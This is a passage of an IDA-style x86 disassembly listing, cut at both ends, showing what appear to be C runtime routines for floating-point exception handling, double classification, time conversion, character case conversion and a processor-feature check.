		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42FF54
		dec	ecx
		jz	short loc_42FF4B
		dec	ecx
		jnz	short loc_42FF5D
		and	[esi], edx
		jmp	short loc_42FF5D
; ---------------------------------------------------------------------------


loc_42FF4B:				; CODE XREF: sub_42FCB4+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_42FF5B
; ---------------------------------------------------------------------------


loc_42FF54:				; CODE XREF: sub_42FCB4+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_42FF5B:				; CODE XREF: sub_42FCB4+29Ej
		mov	[esi], ecx


loc_42FF5D:				; CODE XREF: sub_42FCB4+291j
					; sub_42FCB4+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42FCB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF67	proc near		; CODE XREF: sub_42FC1C+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42FF92
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42FF92
		push	ebx
		call	sub_430416
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_43015C
; ---------------------------------------------------------------------------


loc_42FF92:				; CODE XREF: sub_42FF67+15j
					; sub_42FF67+1Aj
		test	al, 4
		jz	short loc_42FFAC
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_42FFAC
		push	4
		call	sub_430416
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_43015C
; ---------------------------------------------------------------------------


loc_42FFAC:				; CODE XREF: sub_42FF67+2Dj
					; sub_42FF67+33j
		test	al, bl
		jz	loc_430086
		test	byte ptr [ebp+arg_8], 8
		jz	loc_430086
		push	8
		call	sub_430416
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_43005E
		cmp	ecx, 400h
		jz	short loc_430036
		cmp	ecx, 800h
		jz	short loc_43000E
		cmp	ecx, eax
		jnz	loc_43007E
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_437628
		fld	dbl_4536E0
		fnstsw	ax
		sahf
		ja	short loc_430006
		fchs


loc_430006:				; CODE XREF: sub_42FF67+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_43007C
; ---------------------------------------------------------------------------


loc_43000E:				; CODE XREF: sub_42FF67+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_437628
		fnstsw	ax
		sahf
		jbe	short loc_430026
		fld	dbl_4536D0
		jmp	short loc_43002E
; ---------------------------------------------------------------------------


loc_430026:				; CODE XREF: sub_42FF67+B5j
		fld	dbl_4536E0
		fchs


loc_43002E:				; CODE XREF: sub_42FF67+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_43007C
; ---------------------------------------------------------------------------


loc_430036:				; CODE XREF: sub_42FF67+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_437628
		fnstsw	ax
		sahf
		jbe	short loc_43004E
		fld	dbl_4536E0
		jmp	short loc_430056
; ---------------------------------------------------------------------------


loc_43004E:				; CODE XREF: sub_42FF67+DDj
					; DATA XREF: .text:0043AB74o
		fld	dbl_4536D0
		fchs


loc_430056:				; CODE XREF: sub_42FF67+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_43005C:				; DATA XREF: .text:off_43BA40o
					; .text:off_43C0B0o
		jmp	short loc_43007C
; ---------------------------------------------------------------------------


loc_43005E:				; CODE XREF: sub_42FF67+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_437628
		fld	dbl_4536D0
		fnstsw	ax
		sahf
		ja	short loc_430076
		fchs


loc_430076:				; CODE XREF: sub_42FF67+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_43007C:				; CODE XREF: sub_42FF67+A5j
					; sub_42FF67+CDj ...
		fstp	qword ptr [ecx]


loc_43007E:				; CODE XREF: sub_42FF67+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_43015C
; ---------------------------------------------------------------------------


loc_430086:				; CODE XREF: sub_42FF67+47j
					; sub_42FF67+51j
		test	al, 2
		jz	loc_43015C
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_43015C
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4300A1
		mov	esi, ebx


loc_4300A1:				; CODE XREF: sub_42FF67+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_437628
		fnstsw	ax
		sahf
		jz	loc_43014A
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_430315
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4300EC
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_430140
; ---------------------------------------------------------------------------


loc_4300EC:				; CODE XREF: sub_42FF67+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_437628
		fnstsw	ax
		sahf
		jnb	short loc_4300FE
		mov	edx, ebx
		jmp	short loc_430100
; ---------------------------------------------------------------------------


loc_4300FE:				; CODE XREF: sub_42FF67+191j
		xor	edx, edx


loc_430100:				; CODE XREF: sub_42FF67+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_430134
		sub	eax, ecx


loc_430117:				; CODE XREF: sub_42FF67+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_430122
		test	esi, esi
		jnz	short loc_430122
		mov	esi, ebx


loc_430122:				; CODE XREF: sub_42FF67+1B3j
					; sub_42FF67+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_43012E
		or	byte ptr [ebp+var_C+3],	80h


loc_43012E:				; CODE XREF: sub_42FF67+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_430117


loc_430134:				; CODE XREF: sub_42FF67+1ACj
		test	edx, edx
		jz	short loc_430140
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_430140:				; CODE XREF: sub_42FF67+183j
					; sub_42FF67+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_43014C
; ---------------------------------------------------------------------------


loc_43014A:				; CODE XREF: sub_42FF67+14Ej
		mov	esi, ebx


loc_43014C:				; CODE XREF: sub_42FF67+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_430159
		push	10h
		call	sub_430416
		pop	ecx


loc_430159:				; CODE XREF: sub_42FF67+1E8j
		and	edi, 0FFFFFFFDh


loc_43015C:				; CODE XREF: sub_42FF67+26j
					; sub_42FF67+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_430173
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_430173
		push	20h
		call	sub_430416
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_430173:				; CODE XREF: sub_42FF67+1F9j
					; sub_42FF67+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42FF67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_43017E(int, int, int,	int, int, int, double, int)

sub_43017E	proc near		; CODE XREF: sub_42FBC8+2Bp
					; sub_42FC1C+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_43022E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4301E9
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4303F3
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_420D8E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4301E3
		push	esi
		call	sub_430206
		pop	ecx


loc_4301E3:				; CODE XREF: sub_43017E+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4301E9:				; CODE XREF: sub_43017E+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4303F3
		push	[ebp+arg_0]
		call	sub_430206
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_43017E	endp


; =============== S U B	R O U T	I N E =======================================



sub_430206	proc near		; CODE XREF: sub_42FC1C+7Dp
					; sub_43017E+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_430222
		jle	short locret_43022D
		cmp	eax, 3
		jg	short locret_43022D
		call	sub_42F119
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------


loc_430222:				; CODE XREF: sub_430206+7j
		call	sub_42F119
		mov	dword ptr [eax], 21h

locret_43022D:				; CODE XREF: sub_430206+9j
					; sub_430206+Ej
		retn
sub_430206	endp


; =============== S U B	R O U T	I N E =======================================



sub_43022E	proc near		; CODE XREF: sub_43017E+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4535F8


loc_430235:				; CODE XREF: sub_43022E+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_43024B
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_4536D0
		jl	short loc_430235
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43024B:				; CODE XREF: sub_43022E+Dj
		mov	eax, off_4535FC[ecx*8]
		retn
sub_43022E	endp


; =============== S U B	R O U T	I N E =======================================



sub_430253	proc near		; CODE XREF: sub_42FC1C+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_43025F
		push	5
		jmp	short loc_430275
; ---------------------------------------------------------------------------


loc_43025F:				; CODE XREF: sub_430253+6j
		test	al, 8
		jz	short loc_430267
		push	1
		jmp	short loc_430275
; ---------------------------------------------------------------------------


loc_430267:				; CODE XREF: sub_430253+Ej
		test	al, 4
		jz	short loc_43026F
		push	2
		jmp	short loc_430275
; ---------------------------------------------------------------------------


loc_43026F:				; CODE XREF: sub_430253+16j
		test	al, 1
		jz	short loc_430277
		push	3


loc_430275:				; CODE XREF: sub_430253+Aj
					; sub_430253+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_430277:				; CODE XREF: sub_430253+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_430253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_430280(double)

sub_430280	proc near		; CODE XREF: sub_42A706:loc_42A78Cp

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_430280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_430292(double, int)

sub_430292	proc near		; CODE XREF: sub_430315+82p
					; sub_430315+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_430292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4302BB	proc near		; CODE XREF: sub_42A706+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4302D2
		cmp	[ebp+arg_0], edx
		jnz	short loc_4302E4
		push	1
		jmp	short loc_43030E
; ---------------------------------------------------------------------------


loc_4302D2:				; CODE XREF: sub_4302BB+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4302E4
		cmp	[ebp+arg_0], edx
		jnz	short loc_4302E4
		push	2
		jmp	short loc_43030E
; ---------------------------------------------------------------------------


loc_4302E4:				; CODE XREF: sub_4302BB+11j
					; sub_4302BB+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4302F7
		push	3
		jmp	short loc_43030E
; ---------------------------------------------------------------------------


loc_4302F7:				; CODE XREF: sub_4302BB+36j
		cmp	cx, 7FF0h
		jnz	short loc_430311
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_43030C
		cmp	[ebp+arg_0], edx
		jz	short loc_430311


loc_43030C:				; CODE XREF: sub_4302BB+4Aj
		push	4


loc_43030E:				; CODE XREF: sub_4302BB+15j
					; sub_4302BB+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430311:				; CODE XREF: sub_4302BB+41j
					; sub_4302BB+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4302BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_430315(double, int)

sub_430315	proc near		; CODE XREF: sub_42FF67+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_437628
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_430335
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4303CB
; ---------------------------------------------------------------------------


loc_430335:				; CODE XREF: sub_430315+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4303A4
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_43034D
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4303A4


loc_43034D:				; CODE XREF: sub_430315+31j
		fld	[ebp+arg_0]
		fcomp	dbl_437628
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_430365
		push	1
		pop	eax
		jmp	short loc_430367
; ---------------------------------------------------------------------------


loc_430365:				; CODE XREF: sub_430315+49j
		xor	eax, eax


loc_430367:				; CODE XREF: sub_430315+4Ej
					; sub_430315+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_430380
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_43037A
		or	dword ptr [ebp+arg_0+4], 1


loc_43037A:				; CODE XREF: sub_430315+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_430367
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: sub_430315+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_43038E
		or	byte ptr [ebp+arg_0+7],	80h


loc_43038E:				; CODE XREF: sub_430315+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_430292
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4303CB
; ---------------------------------------------------------------------------


loc_4303A4:				; CODE XREF: sub_430315+28j
					; sub_430315+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_430292
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4303CB:				; CODE XREF: sub_430315+1Bj
					; sub_430315+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_430315	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4303D6	proc near		; CODE XREF: sub_42FCB4+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4303D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4303E4	proc near		; CODE XREF: sub_42FCB4+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4303E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4303F3	proc near		; CODE XREF: sub_42A706+13p
					; sub_42A706+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4303F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430416	proc near		; CODE XREF: sub_42FF67+1Dp
					; sub_42FF67+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_43042D
		fld	tbyte_4536F8
		fistp	[ebp+arg_0]
		wait


loc_43042D:				; CODE XREF: sub_430416+Bj
		test	cl, 8
		jz	short loc_430442
		fstsw	ax
		fld	tbyte_4536F8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_430442:				; CODE XREF: sub_430416+1Aj
		test	cl, 10h
		jz	short loc_430451
		fld	tbyte_453704
		fstp	[ebp+var_8]
		wait


loc_430451:				; CODE XREF: sub_430416+2Fj
		test	cl, 4
		jz	short loc_43045F
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_43045F:				; CODE XREF: sub_430416+3Ej
		test	cl, 20h
		jz	short locret_43046A
		fldpi
		fstp	[ebp+var_8]
		wait

locret_43046A:				; CODE XREF: sub_430416+4Cj
		leave
		retn
sub_430416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43046C	proc near		; CODE XREF: sub_42A7D5+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_430528
		cmp	ebx, 8Ah
		jg	loc_430528
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_453C04[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4304AB
		cmp	edi, 2
		jle	short loc_4304AB
		inc	esi


loc_4304AB:				; CODE XREF: sub_43046C+37j
					; sub_43046C+3Cj
		call	sub_433988
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_453B24
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_43051E
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_430524
		cmp	dword_453B28, 0
		jz	short loc_430524
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_433C3D
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_430524


loc_43051E:				; CODE XREF: sub_43046C+90j
		add	ecx, dword_453B2C


loc_430524:				; CODE XREF: sub_43046C+96j
					; sub_43046C+9Fj ...
		mov	eax, ecx
		jmp	short loc_43052B
; ---------------------------------------------------------------------------


loc_430528:				; CODE XREF: sub_43046C+13j
					; sub_43046C+1Fj
		or	eax, 0FFFFFFFFh


loc_43052B:				; CODE XREF: sub_43046C+BAj
		pop	ebx
		leave
		retn
sub_43046C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43052E	proc near		; CODE XREF: sub_4306E1+9p

arg_0		= dword	ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	dword_6769A8, ebx
		jnz	short loc_43054C
		mov	eax, [esp+4+arg_0]
		cmp	eax, 41h
		jl	short loc_43059B
		cmp	eax, 5Ah
		jg	short loc_43059B
		add	eax, 20h
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43054C:				; CODE XREF: sub_43052E+9j
		push	esi
		mov	esi, offset dword_676EDC
		push	edi
		push	esi
		call	dword_437224	; InterlockedIncrement
		cmp	dword_676ED8, ebx
		mov	edi, dword_437220
		jz	short loc_430576
		push	esi
		call	edi ; dword_437220
		push	13h
		call	sub_42DAEF
		pop	ecx
		push	1
		pop	ebx


loc_430576:				; CODE XREF: sub_43052E+38j
		push	[esp+0Ch+arg_0]
		call	sub_43059D
		test	ebx, ebx
		pop	ecx
		mov	[esp+0Ch+arg_0], eax
		jz	short loc_430592
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_430595
; ---------------------------------------------------------------------------


loc_430592:				; CODE XREF: sub_43052E+58j
		push	esi
		call	edi ; dword_437220


loc_430595:				; CODE XREF: sub_43052E+62j
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi


loc_43059B:				; CODE XREF: sub_43052E+12j
					; sub_43052E+17j
		pop	ebx
		retn
sub_43052E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43059D	proc near		; CODE XREF: sub_42A8C0+94p
					; sub_42A8C0+9Ep ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_6769A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4305CA
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_430663
		cmp	eax, 5Ah
		jg	loc_430663
		add	eax, 20h
		jmp	loc_430663
; ---------------------------------------------------------------------------


loc_4305CA:				; CODE XREF: sub_43059D+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4305FE
		cmp	dword_4535C4, esi
		jle	short loc_4305EC
		push	esi
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_4305F6
; ---------------------------------------------------------------------------


loc_4305EC:				; CODE XREF: sub_43059D+42j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4305F6:				; CODE XREF: sub_43059D+4Dj
		test	eax, eax
		jnz	short loc_4305FE


loc_4305FA:				; CODE XREF: sub_43059D+ADj
		mov	eax, ebx
		jmp	short loc_430663
; ---------------------------------------------------------------------------


loc_4305FE:				; CODE XREF: sub_43059D+3Aj
					; sub_43059D+5Bj
		mov	edx, off_4533B8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_430622
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_43062B
; ---------------------------------------------------------------------------


loc_430622:				; CODE XREF: sub_43059D+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_43062B:				; CODE XREF: sub_43059D+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_6769A8
		call	sub_430D9F
		add	esp, 20h
		test	eax, eax
		jz	short loc_4305FA
		cmp	eax, esi
		jnz	short loc_430656
		movzx	eax, [ebp+var_4]
		jmp	short loc_430663
; ---------------------------------------------------------------------------


loc_430656:				; CODE XREF: sub_43059D+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_430663:				; CODE XREF: sub_43059D+16j
					; sub_43059D+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43059D	endp


; =============== S U B	R O U T	I N E =======================================



sub_430668	proc near		; CODE XREF: sub_42A990+Fp
		push	30000h
		push	10000h
		call	sub_433FFF
		pop	ecx
		pop	ecx
		retn
sub_430668	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43067A	proc near		; CODE XREF: sub_4306B8:loc_4306DCj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_437638
		fstp	[ebp+var_8]
		fld	dbl_437630
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_437430
		fnstsw	ax
		sahf
		jbe	short loc_4306B4
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4306B4:				; CODE XREF: sub_43067A+33j
		xor	eax, eax
		leave
		retn
sub_43067A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4306B8	proc near		; CODE XREF: sub_42A990+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_437070	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4306DC
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_437030	; GetProcAddress
		test	eax, eax
		jz	short loc_4306DC
		push	0
		call	eax ; sub_42A990
		retn
; ---------------------------------------------------------------------------


loc_4306DC:				; CODE XREF: sub_4306B8+Dj
					; sub_4306B8+1Dj
		jmp	sub_43067A
sub_4306B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4306E1	proc near		; CODE XREF: sub_42DC7D+3CBp
					; DATA XREF: sub_42A9A8+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_43052E
		cmp	eax, 65h
		pop	ecx
		jz	short loc_430721


loc_4306F5:				; CODE XREF: sub_4306E1+3Ej
		inc	esi
		cmp	dword_4535C4, 1
		jle	short loc_43070E
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_43071D
; ---------------------------------------------------------------------------


loc_43070E:				; CODE XREF: sub_4306E1+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4533B8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_43071D:				; CODE XREF: sub_4306E1+2Bj
		test	eax, eax
		jnz	short loc_4306F5


loc_430721:				; CODE XREF: sub_4306E1+12j
		mov	cl, byte_4535C8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


